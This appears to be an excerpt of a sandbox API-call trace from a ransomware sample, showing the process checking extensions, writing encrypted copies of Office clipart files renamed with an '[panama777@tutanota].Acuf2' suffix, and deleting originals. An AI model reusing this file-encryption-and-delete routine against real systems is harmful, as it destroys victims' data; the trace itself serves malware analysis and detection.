	[0261.478] lstrlenW (lpString=".rar") returned 4
	[0261.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.478] lstrlenW (lpString=".bz2") returned 4
	[0261.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.478] lstrlenW (lpString=".7z") returned 3
	[0261.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63
	[0261.478] lstrlenW (lpString=".dbf") returned 4
	[0261.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63
	[0261.478] lstrlenW (lpString=".1cd") returned 4
	[0261.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63
	[0261.478] lstrlenW (lpString=".jpg") returned 4
	[0261.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.479] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0261.479] lstrlenW (lpString="ED00184_.WMF") returned 12
	[0261.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0261.479] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=6958) returned 1
	[0261.479] CloseHandle (hObject=0x29c) returned 1
	[0261.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x20
	[0261.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0261.479] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.479] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0261.480] GetLastError () returned 0x0
	[0261.480] ReadFile (in: hFile=0x29c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1b2e, lpOverlapped=0x0) returned 1
	[0261.494] WriteFile (in: hFile=0x358, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1b30, lpOverlapped=0x0) returned 1
	[0261.495] ReadFile (in: hFile=0x29c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.495] WriteFile (in: hFile=0x358, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.495] SetEndOfFile (hFile=0x358) returned 1
	[0261.495] CloseHandle (hObject=0x358) returned 1
	[0261.495] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.495] SetEndOfFile (hFile=0x29c) returned 1
	[0261.497] CloseHandle (hObject=0x29c) returned 1
	[0261.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 1
	[0261.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63
	[0261.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63
	[0261.518] lstrlenW (lpString=".doc") returned 4
	[0261.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.518] lstrlenW (lpString=".docx") returned 5
	[0261.518] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.518] lstrlenW (lpString=".pdf") returned 4
	[0261.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.518] lstrlenW (lpString=".xls") returned 4
	[0261.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.518] lstrlenW (lpString=".xlsx") returned 5
	[0261.519] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.519] lstrlenW (lpString=".ppt") returned 4
	[0261.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63
	[0261.519] lstrlenW (lpString=".zip") returned 4
	[0261.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.519] lstrlenW (lpString=".rar") returned 4
	[0261.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.519] lstrlenW (lpString=".bz2") returned 4
	[0261.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.519] lstrlenW (lpString=".7z") returned 3
	[0261.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63
	[0261.519] lstrlenW (lpString=".dbf") returned 4
	[0261.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63
	[0261.519] lstrlenW (lpString=".1cd") returned 4
	[0261.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63
	[0261.519] lstrlenW (lpString=".jpg") returned 4
	[0261.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63
	[0261.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63
	[0261.519] lstrlenW (lpString=".doc") returned 4
	[0261.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.519] lstrlenW (lpString=".docx") returned 5
	[0261.519] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.519] lstrlenW (lpString=".pdf") returned 4
	[0261.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.519] lstrlenW (lpString=".xls") returned 4
	[0261.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.519] lstrlenW (lpString=".xlsx") returned 5
	[0261.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.520] lstrlenW (lpString=".ppt") returned 4
	[0261.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63
	[0261.520] lstrlenW (lpString=".zip") returned 4
	[0261.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.520] lstrlenW (lpString=".rar") returned 4
	[0261.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.520] lstrlenW (lpString=".bz2") returned 4
	[0261.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.520] lstrlenW (lpString=".7z") returned 3
	[0261.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63
	[0261.520] lstrlenW (lpString=".dbf") returned 4
	[0261.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63
	[0261.520] lstrlenW (lpString=".1cd") returned 4
	[0261.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63
	[0261.520] lstrlenW (lpString=".jpg") returned 4
	[0261.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.521] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0261.521] lstrlenW (lpString="EN00319_.WMF") returned 12
	[0261.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0261.719] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=2280) returned 1
	[0261.719] CloseHandle (hObject=0x34c) returned 1
	[0261.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 0x20
	[0261.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0261.720] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.720] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.819] GetLastError () returned 0x0
	[0261.819] ReadFile (in: hFile=0x34c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x8e8, lpOverlapped=0x0) returned 1
	[0261.821] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x8f0, lpOverlapped=0x0) returned 1
	[0261.822] ReadFile (in: hFile=0x34c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.822] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.822] SetEndOfFile (hFile=0x334) returned 1
	[0261.822] CloseHandle (hObject=0x334) returned 1
	[0261.822] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.822] SetEndOfFile (hFile=0x34c) returned 1
	[0261.824] CloseHandle (hObject=0x34c) returned 1
	[0261.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 1
	[0261.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63
	[0261.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63
	[0261.848] lstrlenW (lpString=".doc") returned 4
	[0261.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.848] lstrlenW (lpString=".docx") returned 5
	[0261.849] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.849] lstrlenW (lpString=".pdf") returned 4
	[0261.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.849] lstrlenW (lpString=".xls") returned 4
	[0261.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.849] lstrlenW (lpString=".xlsx") returned 5
	[0261.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.849] lstrlenW (lpString=".ppt") returned 4
	[0261.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63
	[0261.849] lstrlenW (lpString=".zip") returned 4
	[0261.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.849] lstrlenW (lpString=".rar") returned 4
	[0261.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.849] lstrlenW (lpString=".bz2") returned 4
	[0261.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.849] lstrlenW (lpString=".7z") returned 3
	[0261.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63
	[0261.849] lstrlenW (lpString=".dbf") returned 4
	[0261.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63
	[0261.849] lstrlenW (lpString=".1cd") returned 4
	[0261.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63
	[0261.849] lstrlenW (lpString=".jpg") returned 4
	[0261.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63
	[0261.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63
	[0261.849] lstrlenW (lpString=".doc") returned 4
	[0261.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.849] lstrlenW (lpString=".docx") returned 5
	[0261.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.850] lstrlenW (lpString=".pdf") returned 4
	[0261.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.850] lstrlenW (lpString=".xls") returned 4
	[0261.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.850] lstrlenW (lpString=".xlsx") returned 5
	[0261.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.850] lstrlenW (lpString=".ppt") returned 4
	[0261.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63
	[0261.850] lstrlenW (lpString=".zip") returned 4
	[0261.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.850] lstrlenW (lpString=".rar") returned 4
	[0261.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.850] lstrlenW (lpString=".bz2") returned 4
	[0261.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.850] lstrlenW (lpString=".7z") returned 3
	[0261.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63
	[0261.850] lstrlenW (lpString=".dbf") returned 4
	[0261.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63
	[0261.850] lstrlenW (lpString=".1cd") returned 4
	[0261.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63
	[0261.850] lstrlenW (lpString=".jpg") returned 4
	[0261.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.850] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0261.850] lstrlenW (lpString="EN00397_.WMF") returned 12
	[0261.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0261.851] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=17308) returned 1
	[0261.851] CloseHandle (hObject=0x28c) returned 1
	[0261.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 0x20
	[0261.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0261.851] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.851] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0261.852] GetLastError () returned 0x0
	[0261.852] ReadFile (in: hFile=0x28c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x439c, lpOverlapped=0x0) returned 1
	[0261.911] WriteFile (in: hFile=0x270, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x43a0, lpOverlapped=0x0) returned 1
	[0261.912] ReadFile (in: hFile=0x28c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.912] WriteFile (in: hFile=0x270, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.912] SetEndOfFile (hFile=0x270) returned 1
	[0261.912] CloseHandle (hObject=0x270) returned 1
	[0261.912] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.912] SetEndOfFile (hFile=0x28c) returned 1
	[0261.914] CloseHandle (hObject=0x28c) returned 1
	[0261.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 1
	[0262.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63
	[0262.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63
	[0262.556] lstrlenW (lpString=".doc") returned 4
	[0262.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0262.556] lstrlenW (lpString=".docx") returned 5
	[0262.556] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0262.564] lstrlenW (lpString=".pdf") returned 4
	[0262.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0262.564] lstrlenW (lpString=".xls") returned 4
	[0262.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0262.565] lstrlenW (lpString=".xlsx") returned 5
	[0262.565] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0262.565] lstrlenW (lpString=".ppt") returned 4
	[0262.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0262.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63
	[0262.565] lstrlenW (lpString=".zip") returned 4
	[0262.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0262.565] lstrlenW (lpString=".rar") returned 4
	[0262.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0262.565] lstrlenW (lpString=".bz2") returned 4
	[0262.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0262.565] lstrlenW (lpString=".7z") returned 3
	[0262.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0262.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63
	[0262.565] lstrlenW (lpString=".dbf") returned 4
	[0262.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0262.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63
	[0262.565] lstrlenW (lpString=".1cd") returned 4
	[0262.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0262.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63
	[0262.566] lstrlenW (lpString=".jpg") returned 4
	[0262.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0262.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63
	[0262.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63
	[0262.566] lstrlenW (lpString=".doc") returned 4
	[0262.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0262.566] lstrlenW (lpString=".docx") returned 5
	[0262.566] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0262.566] lstrlenW (lpString=".pdf") returned 4
	[0262.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0262.566] lstrlenW (lpString=".xls") returned 4
	[0262.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0262.566] lstrlenW (lpString=".xlsx") returned 5
	[0262.566] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0262.566] lstrlenW (lpString=".ppt") returned 4
	[0262.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0262.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63
	[0262.566] lstrlenW (lpString=".zip") returned 4
	[0262.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0262.566] lstrlenW (lpString=".rar") returned 4
	[0262.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0262.566] lstrlenW (lpString=".bz2") returned 4
